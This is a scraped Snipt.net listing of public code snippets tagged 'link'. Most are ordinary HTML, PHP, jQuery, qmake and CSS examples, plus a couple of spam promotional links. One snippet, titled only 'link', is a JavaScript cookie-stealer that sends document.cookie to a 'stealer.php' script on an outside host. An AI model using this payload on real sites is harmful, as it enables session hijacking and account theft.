IMPORTANT!

Snipt is going open source. We've toyed with this idea for quite a while, and have finally decided it's the right way to move forward.

A few things:
  • The entire Snipt source code will be released on GitHub under the 3-clause BSD License on Friday, September 10th.
  • While we'd like to think we're perfect, we realize we're only human. By open sourcing the software that runs this website, certain bugs or security flaws may be discovered that could compromise the privacy of your snipts.
  • Only the Lion Burger team will be able to push commits to the Snipt.net site. Contributors should send a pull request to add new features or submit patches.
  • By using this site, you agree not to be too angry or take any legal action against Lion Burger should this whole thing go up in flames some day.
  • Follow us on Twitter for updates.
I agree, close this message
Sign up to create your own snipts, or login.

Latest 100 public snipts » link The latest public link snipts.

showing 1-20 of 21 snipts for link
  • Google Chrome Application
    <meta name="title" content="NAME" /> 
    <meta name="description" content="a short description"/>
    
    <link rel="icon" href="http://DOMAIN.COM/icon.png" sizes="48x48" />
    

    copy | embed

    0 comments - tagged in  posted by joehana on Jun 30, 2010 at 11:23 a.m. EDT
  • image link con target _blank
    <? 
    $img_path = "images/arr_leggi_blu.gif"; 
    $link_path = "node/47";
    $theme_name = 'pmsth';
    
    $options = array(
        'attributes' => array(
            'target' => '_blank',
        ),
        'html' => true,
    );
    
    $img = theme('image',  drupal_get_path('theme', $theme_name). "/$img_path"); 
    print l($img, $link_path, $options);
    
    ?>
    

    copy | embed

    0 comments - tagged in  posted by allaterza on Jun 17, 2010 at 11:27 a.m. EDT
  • link con target _blank
    <?
    $anchor = "anchor text";
    $drupal_path = "node/47";
    $options = array(
        'attributes' => array(
            'target' => '_blank',
        )
    );
    print l($anchor, $drupal_path, $options);
    ?>
    

    copy | embed

    0 comments - tagged in  posted by allaterza on Jun 17, 2010 at 9:44 a.m. EDT
  • anchored link
    <a target="_blank" href="http://www.kabbalahlearningcenter.info/web/promo/lc">Free Kabbalah Course</a>
    

    copy | embed

    0 comments - tagged in  posted by lightgirl on Jun 15, 2010 at 6:31 p.m. EDT
  • link
    http://www.kabbalahlearningcenter.info/web/promo/lc
    

    copy | embed

    0 comments - tagged in  posted by lightgirl on Jun 15, 2010 at 6:26 p.m. EDT
  • Favicon to external links
    $('a[href^="http://"]').filter(function(){
         return this.hostname && this.hostname !== location.hostname;
    }).each(function() {
        var link = jQuery(this);
        var faviconURL =
          link.attr('href').replace(/^(http:\/\/[^\/]+).*$/, '$1')+'/favicon.ico';
        var faviconIMG = jQuery('<img src="favicon.png" alt="favicon" />')['prependTo'](link);
        var extImg = new Image();
        extImg.src = faviconURL;
        if (extImg.complete)
          faviconIMG.attr('src', faviconURL);
        else
          extImg.onload = function() { faviconIMG.attr('src', faviconURL); };
    });
    

    copy | embed

    0 comments - tagged in  posted by vagrantradio on Mar 31, 2010 at 9:28 a.m. EDT
  • image link
    <? 
    $img_path = "images/arr_leggi_blu.gif"; 
    $link_path = "node/47";
    $theme_name = 'pmsth';
    
    $img = theme('image',  drupal_get_path('theme', $theme_name). "/$img_path"); 
    print l($img, $link_path, array('html' => true));
    
    ?>
    

    copy | embed

    0 comments - tagged in  posted by allaterza on Feb 06, 2010 at 6:24 a.m. EST
  • link
    <? 
    $anchor = "anchor text";
    $drupal_path = "node/47";
    print l($anchor, $drupal_path);
    ?>
    

    copy | embed

    0 comments - tagged in  posted by allaterza on Feb 06, 2010 at 6:04 a.m. EST
  • Posting a link
    <a href="http://URL" > the link < /a >
    

    copy | embed

    0 comments - tagged in  posted by saravanansaravanan on Jan 17, 2010 at 6:19 a.m. EST
  • example of how to specify a link that opens in UCSF VPN
    https://vpn.ucsf.edu/dana/home/launch.cgi?url=http%3A%2F%2Foaais.ucsf.edu
    

    copy | embed

    0 comments - tagged in  posted by frankfarm on Nov 19, 2009 at 8:02 p.m. EST
  • link
    <script language="JavaScript">
    document.location="http://www.host.com/stealer.php?c=" + document.cookie;
    </script> 
    

    copy | embed

    0 comments - tagged in  posted by codewrex on Nov 02, 2009 at 12:58 a.m. EST
  • sidebar widget - link summarizer
    <?php
    /*
    Plugin Name: Link Summarizer Widget
    Plugin URI: 
    Description: sidebar widget to use with the Link Summarizer Plugin
    Author: Bruno Amaral
    Version: 1.0
    Author URI: http://www.brunoamaral.eu/
    */
    
    add_action("widgets_init", array('link_sum_widget', 'register'));
    register_activation_hook( __FILE__, array('link_sum_widget', 'activate'));
    register_deactivation_hook( __FILE__, array('link_sum_widget', 'deactivate'));
    
    class link_sum_widget{
    
    		function control(){
    		}		
      			
    
    		function activate(){			
        	}
    
    		function deactivate(){ 
    		}
    
    		function register(){
    		    register_sidebar_widget('Link Summarizer Widget', array('link_sum_widget', 'link_sum_widget_echo'));
    		    register_widget_control('Link Summarizer Widget', array('link_sum_widget', 'control'));
      		}
    
    		/*Echo the Information*/
    		function link_sum_widget_echo($args) {
    			
    			extract($args, EXTR_SKIP);
    			echo $before_widget;
    	
    #			echo $before_title . $title . $after_title;
    			
    			get_link_summary();
    			
    			echo $after_widget;
    		}	
    }
    ?>
    

    copy | embed

    0 comments - tagged in  posted by brunoamaral on Oct 05, 2009 at 7:04 p.m. EDT
  • Simple Link Code
    <img src="URLtoIMAGE" />
    

    copy | embed

    0 comments - tagged in  posted by Matt425 on Sep 22, 2009 at 4:34 p.m. EDT
  • email link
    <a href="mailto:email@domain.com?subject=SubjectHere">Email Me</a>
    

    copy | embed

    0 comments - tagged in  posted by Matt425 on Sep 05, 2009 at 1:56 a.m. EDT
  • link into qmake file
    !isEmpty(LINK_ROOT_PATH) {
        createlink.commands = ln -sf $${INSTALL_ROOT_PATH}/$${BINARY_TARGET} $${LINK_ROOT_PATH}/$${BINARY_TARGET}
        QMAKE_EXTRA_TARGETS += createlink
        PRE_TARGETDEPS += createlink
    }
    

    copy | embed

    0 comments - tagged in  posted by spechard on Aug 25, 2009 at 7:45 a.m. EDT
  • mail link containing various contents already
    <a href="mailto:astark1@unl.edu?body=The message's first paragraph.%0A%0aSecond paragraph.%0A%0AThird Paragraph.">
    

    copy | embed

    0 comments - tagged in  posted by febeling on Jun 09, 2009 at 9:27 a.m. EDT
  • Sitemap Link
    <link rel="alternate" type="application/rss+xml" title="Sitemap" href="sitemap.xml" />
    

    copy | embed

    0 comments - tagged in  posted by pixelclear on May 26, 2009 at 1:05 p.m. EDT
  • Make any DIV a link
    <div onclick="location.href='http://www.example.com';" style="cursor:pointer;"></div>
    

    copy | embed

    0 comments - tagged in  posted by actionbasic on Mar 11, 2009 at 4:54 p.m. EDT
  • rootdomain+ trick - with or without the "www" prefix
    /*
    Load absolute URL link:
    
    Here's a different link syntax that references an absolute URL to the file on your server:
    */
    
    <a href="javascript:ajaxpage(rootdomain+'/mydir/index.htm', 'contentarea');">test</a>
    <div id="contentarea"></div>
    
    /*
    This will load "http://www.mydomain.com/mydir/index.htm". Here the important thing to note is the "rootdomain" variable. Instead of specifying literally the domain of your server, such as "http://www.mydomain.com", you should instead use "rootdomain" and let the script dynamically determine this domain. The reason for this is due to the two possible ways your domain can be entered, either with or without the "www" prefix. This variation creates a problem in that if you hard coded your domain inside the link using one version ("http://www") and the user is viewing your site using the other ("http://"), to Ajax, the two domains don't match, triggering the security limitation mentioned above, and the file is not loaded for that user. The "rootdomain" variable takes care of this by dynamically determining your current domain name as the user is using inside his/her browser to construct a full URL to the file to load.
    */
    

    copy | embed

    0 comments - tagged in  posted by adamacosta16 on Mar 02, 2009 at 11:58 p.m. EST
  • Remove active link border
    a:active, a:focus {outline:none;}
    

    copy | embed

    0 comments - tagged in  posted by keszthelyi on Jan 16, 2009 at 4:10 a.m. EST
Sign up to create your own snipts, or login.